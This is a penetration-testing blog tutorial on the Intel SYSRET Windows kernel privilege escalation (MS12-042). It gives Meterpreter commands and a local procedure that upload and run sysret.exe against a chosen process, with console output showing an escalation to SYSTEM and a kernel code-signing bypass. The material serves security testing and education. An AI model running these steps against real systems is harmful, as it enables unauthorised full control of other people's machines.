Intel SYSRET

pentestlab.blog/category/red-team/page/104

June 14, 2017

This vulnerability allows an attacker to execute code to the kernel (ring0) due to the difference in implementation between processors AMD and Intel. For example an operating system that it is written according to AMD specifications but runs on an Intel hardware is vulnerable. Since the attacker can execute code into the kernel it could allow him to escalate his privileges from user level to system.

Windows environments are vulnerable due to the way that the Windows User Mode Scheduler is handling system requests. This issue affects 64-bit versions of Windows 2008 and Windows 7 that are running on an Intel chip.

Metasploit

From an existing Meterpreter session the sysret binary needs to be uploaded first on the target system and then to execute the privilege escalation exploit by attaching it to the current process.

```
1 meterpreter > getuid
2 meterpreter > getpid
3 meterpreter > execute -H -f sysret.exe -a "-pid 2348"
```

```
meterpreter > upload /root/Desktop/sysret.exe
[*] uploading  : /root/Desktop/sysret.exe -> sysret.exe
[*] uploaded   : /root/Desktop/sysret.exe -> sysret.exe
meterpreter > getuid
Server username: WIN-RUDHUU4VG75\User
meterpreter > getpid
Current pid: 2348
meterpreter > execute -H -f sysret.exe -a "-pid 2348"
Process 1508 created.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

Meterpreter – Privilege Escalation via Sysret

Windows

Alternatively if the user has physical access to the system or via RDP it can use the following procedure in order to escalate his privileges.

The first step is to obtain the list of running processes and their associated PID's.

```
C:\Windows\Release>whoami
win-rudhuu4vg75\user

C:\Windows\Release>tasklist

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0         24 K
System                           4 Services                   0        304 K
smss.exe                       260 Services                   0      1,212 K
csrss.exe                      348 Services                   0      4,324 K
wininit.exe                    432 Services                   0      4,500 K
csrss.exe                      452 Console                    1     10,296 K
services.exe                   500 Services                   0      8,720 K
winlogon.exe                   524 Console                    1      5,100 K
lsass.exe                      536 Services                   0     11,088 K
lsm.exe                        544 Services                   0      4,260 K
svchost.exe                    660 Services                   0      9,524 K
```

Sysret – Retrieving Processes

The explorer.exe is the ideal process to be used for hooking.

```
explorer.exe                  1596 Console                    1     51,168 K
vmtoolsd.exe                  1712 Console                    1     16,684 K
cmd.exe                       2532 Console                    1      3,004 K
conhost.exe                   1464 Console                    1      4,284 K
cmd.exe                       3052 Console                    1      3,112 K
conhost.exe                   1612 Console                    1      3,668 K
tasklist.exe                  1996 Console                    1      5,804 K
```

Sysret – Identify process ID of explorer.exe

Running the binary sysret.exe with the -pid parameter it will execute the shellcode into the kernel bypassing kernel code signing.

```
C:\Windows\Release>sysret.exe -pid 1596
[+] Windows Kernel Intel x64 Sysret Vulnerability (MS12-042)
[+] Exploited by Shahriyar Jalayeri (Shahriyar.j [at] gmail) -- just for fun
[+] Escalating PID : 000000000000063C
[+] Hooking RtlpUmsPrimaryContextWrap...
[+] RtlpUmsPrimaryContextWrap hook point at : 0000000077AD046A
[+] Allocating null page...
[+] Page allocated at : 0000000000000000
[+] Control flow changed to shellcode execution path.
[+] Kernel Executive Entry (ntoskrnl.exe) at : FFFFF80001860000
[+] PsLookupProcessByProcessId at : FFFFF80001BB31FC
[+] g_CiEnabled Pointer at : FFFFF80001A86EB8
[+] Shellcode memory allocated at : 0000000000070000
[+] Shellcode fixed and palaced at allocated memory.
[+] Entering User-mode Scheduling Mode!
```

Sysret – Privilege Escalation

By checking on the command prompt again the user will elevate to SYSTEM.

Sysret – Verification of Authority

Resources

https://repret.wordpress.com/2012/08/25/windows-kernel-intel-x64-sysret-vulnerability-code-signing-bypass-bonus/

https://github.com/shjalayeri/sysret

https://blog.xenproject.org/2012/06/13/the-intel-sysret-privilege-escalation/

https://www.exploit-db.com/exploits/20861/

https://technet.microsoft.com/en-us/library/security/ms12-042.aspx